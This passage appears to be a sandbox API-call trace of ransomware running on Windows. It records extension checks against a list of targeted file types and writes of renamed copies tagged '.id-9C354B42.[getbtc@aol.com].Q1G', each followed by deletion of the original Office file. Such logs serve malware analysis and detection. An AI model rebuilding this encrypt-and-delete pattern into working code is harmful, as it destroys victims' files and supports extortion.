(lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0250.300] lstrlenW (lpString=".zip") returned 4 [0250.300] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0250.300] lstrlenW (lpString=".rar") returned 4 [0250.300] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0250.300] lstrlenW (lpString=".bz2") returned 4 [0250.300] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0250.300] lstrlenW (lpString=".7z") returned 3 [0250.300] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0250.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0250.300] lstrlenW (lpString=".dbf") returned 4 [0250.300] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0250.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0250.300] lstrlenW (lpString=".1cd") returned 4 [0250.300] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0250.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0250.300] lstrlenW (lpString=".jpg") returned 4 [0250.300] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0250.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0250.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0250.300] lstrlenW (lpString=".doc") returned 4 [0250.300] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0250.301] lstrlenW (lpString=".docx") returned 5 [0250.301] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0250.301] lstrlenW (lpString=".pdf") returned 4 [0250.301] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0250.301] lstrlenW (lpString=".xls") returned 4 [0250.301] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0250.301] lstrlenW (lpString=".xlsx") returned 5 [0250.301] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0250.301] lstrlenW (lpString=".ppt") returned 4 [0250.301] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0250.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0250.301] lstrlenW (lpString=".zip") returned 4 [0250.301] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0250.301] lstrlenW (lpString=".rar") returned 4 [0250.301] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0250.301] lstrlenW (lpString=".bz2") returned 4 [0250.301] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0250.301] lstrlenW (lpString=".7z") returned 3 [0250.301] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0250.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0250.301] lstrlenW (lpString=".dbf") returned 4 [0250.301] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0250.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0250.301] lstrlenW (lpString=".1cd") returned 4 [0250.301] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0250.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0250.301] lstrlenW (lpString=".jpg") returned 4 [0250.301] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0250.301] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0250.301] lstrlenW (lpString="MSPUB_F_COL.HXK") returned 15 [0250.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0250.302] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=114) returned 1 [0250.302] CloseHandle (hObject=0x398) returned 1 [0250.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk")) returned 0x20 [0250.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0250.302] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.302] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.303] GetLastError () returned 0x0 [0250.303] ReadFile (in: hFile=0x398, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x72, lpOverlapped=0x0) returned 1 [0250.304] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x80, lpOverlapped=0x0) returned 1 [0250.304] ReadFile (in: hFile=0x398, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.305] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0250.305] SetEndOfFile (hFile=0x3bc) returned 1 [0250.305] CloseHandle (hObject=0x3bc) returned 1 [0250.305] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.305] SetEndOfFile (hFile=0x398) returned 1 [0250.307] CloseHandle (hObject=0x398) returned 1 [0250.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk")) returned 1 [0250.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0250.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0250.308] lstrlenW (lpString=".doc") returned 4 [0250.308] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0250.308] lstrlenW (lpString=".docx") returned 5 [0250.308] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0250.308] lstrlenW (lpString=".pdf") returned 4 [0250.308] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0250.308] lstrlenW (lpString=".xls") returned 4 [0250.308] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.308] lstrlenW (lpString=".xlsx") returned 5 [0250.308] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.308] lstrlenW (lpString=".ppt") returned 4 [0250.308] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0250.308] lstrlenW (lpString=".zip") returned 4 [0250.308] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.308] lstrlenW (lpString=".rar") returned 4 [0250.308] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.308] lstrlenW (lpString=".bz2") returned 4 [0250.308] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.308] lstrlenW (lpString=".7z") returned 3 [0250.308] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0250.308] lstrlenW (lpString=".dbf") returned 4 [0250.309] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0250.309] lstrlenW (lpString=".1cd") returned 4 [0250.309] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0250.309] lstrlenW (lpString=".jpg") returned 4 [0250.309] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0250.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0250.309] lstrlenW (lpString=".doc") returned 4 [0250.309] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0250.309] lstrlenW (lpString=".docx") returned 5 [0250.309] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0250.309] lstrlenW (lpString=".pdf") returned 4 [0250.309] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0250.309] lstrlenW (lpString=".xls") returned 4 [0250.309] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.309] lstrlenW (lpString=".xlsx") returned 5 [0250.309] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.309] lstrlenW (lpString=".ppt") returned 4 [0250.309] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0250.309] lstrlenW (lpString=".zip") returned 4 [0250.309] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.309] lstrlenW (lpString=".rar") returned 4 [0250.309] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.309] lstrlenW (lpString=".bz2") returned 4 [0250.309] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.309] lstrlenW (lpString=".7z") returned 3 [0250.309] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0250.309] lstrlenW (lpString=".dbf") returned 4 [0250.309] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0250.309] lstrlenW (lpString=".1cd") returned 4 [0250.309] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0250.310] lstrlenW (lpString=".jpg") returned 4 [0250.310] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.310] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0250.310] lstrlenW (lpString="MSPUB_K_COL.HXK") returned 15 [0250.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0250.316] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=113) returned 1 [0250.316] CloseHandle (hObject=0x398) returned 1 [0250.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk")) returned 0x20 [0250.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0250.317] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.317] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.317] GetLastError () returned 0x0 [0250.317] ReadFile (in: hFile=0x398, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x71, lpOverlapped=0x0) returned 1 [0250.318] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x80, lpOverlapped=0x0) returned 1 [0250.319] ReadFile (in: hFile=0x398, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.319] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0250.319] SetEndOfFile (hFile=0x3bc) returned 1 [0250.319] CloseHandle (hObject=0x3bc) returned 1 [0250.319] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.319] SetEndOfFile (hFile=0x398) returned 1 [0250.322] CloseHandle (hObject=0x398) returned 1 [0250.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.322] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk")) returned 1 [0250.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0250.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0250.322] lstrlenW (lpString=".doc") returned 4 [0250.322] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0250.322] lstrlenW (lpString=".docx") returned 5 [0250.322] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0250.323] lstrlenW (lpString=".pdf") returned 4 [0250.323] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0250.323] lstrlenW (lpString=".xls") returned 4 [0250.323] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.323] lstrlenW (lpString=".xlsx") returned 5 [0250.323] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.323] lstrlenW (lpString=".ppt") returned 4 [0250.323] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0250.323] lstrlenW (lpString=".zip") returned 4 [0250.323] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.323] lstrlenW (lpString=".rar") returned 4 [0250.323] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.323] lstrlenW (lpString=".bz2") returned 4 [0250.323] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.323] lstrlenW (lpString=".7z") returned 3 [0250.323] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0250.323] lstrlenW (lpString=".dbf") returned 4 [0250.323] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0250.323] lstrlenW (lpString=".1cd") returned 4 [0250.323] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0250.323] lstrlenW (lpString=".jpg") returned 4 [0250.323] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0250.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0250.323] lstrlenW (lpString=".doc") returned 4 [0250.324] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0250.324] lstrlenW (lpString=".docx") returned 5 [0250.324] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0250.324] lstrlenW (lpString=".pdf") returned 4 [0250.324] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0250.324] lstrlenW (lpString=".xls") returned 4 [0250.324] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.324] lstrlenW (lpString=".xlsx") returned 5 [0250.324] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.324] lstrlenW (lpString=".ppt") returned 4 [0250.324] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0250.324] lstrlenW (lpString=".zip") returned 4 [0250.324] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.324] lstrlenW (lpString=".rar") returned 4 [0250.324] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.324] lstrlenW (lpString=".bz2") returned 4 [0250.324] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.324] lstrlenW (lpString=".7z") returned 3 [0250.324] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0250.324] lstrlenW (lpString=".dbf") returned 4 [0250.324] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0250.324] lstrlenW (lpString=".1cd") returned 4 [0250.324] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0250.324] lstrlenW (lpString=".jpg") returned 4 [0250.324] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.324] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0250.324] lstrlenW (lpString="MSTINTL.DLL") returned 11 [0250.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0250.335] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=89432) returned 1 [0250.335] CloseHandle (hObject=0x398) returned 1 [0250.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll")) returned 0x20 [0250.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0250.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0250.336] lstrlenW (lpString=".doc") returned 4 [0250.336] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0250.336] lstrlenW (lpString=".docx") returned 5 [0250.336] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0250.336] lstrlenW (lpString=".pdf") returned 4 [0250.336] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0250.336] lstrlenW (lpString=".xls") returned 4 [0250.336] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0250.336] lstrlenW (lpString=".xlsx") returned 5 [0250.336] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0250.336] lstrlenW (lpString=".ppt") returned 4 [0250.336] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0250.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0250.336] lstrlenW (lpString=".zip") returned 4 [0250.336] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0250.336] lstrlenW (lpString=".rar") returned 4 [0250.336] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0250.336] lstrlenW (lpString=".bz2") returned 4 [0250.336] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0250.336] lstrlenW (lpString=".7z") returned 3 [0250.336] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0250.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0250.336] lstrlenW (lpString=".dbf") returned 4 [0250.336] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0250.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0250.337] lstrlenW (lpString=".1cd") returned 4 [0250.337] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0250.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0250.337] lstrlenW (lpString=".jpg") returned 4 [0250.337] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0250.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0250.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0250.337] lstrlenW (lpString=".doc") returned 4 [0250.337] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0250.337] lstrlenW (lpString=".docx") returned 5 [0250.337] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0250.337] lstrlenW (lpString=".pdf") returned 4 [0250.337] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0250.337] lstrlenW (lpString=".xls") returned 4 [0250.337] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0250.337] lstrlenW (lpString=".xlsx") returned 5 [0250.337] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0250.337] lstrlenW (lpString=".ppt") returned 4 [0250.337] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0250.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0250.337] lstrlenW (lpString=".zip") returned 4 [0250.337] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0250.337] lstrlenW (lpString=".rar") returned 4 [0250.337] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0250.337] lstrlenW (lpString=".bz2") returned 4 [0250.337] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0250.337] lstrlenW (lpString=".7z") returned 3 [0250.337] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0250.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0250.337] lstrlenW (lpString=".dbf") returned 4 [0250.337] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0250.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0250.337] lstrlenW (lpString=".1cd") returned 4 [0250.337] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0250.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0250.337] lstrlenW (lpString=".jpg") returned 4 [0250.337] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0250.338] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0250.338] lstrlenW (lpString="MSTORE.HXS") returned 10 [0250.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs"), 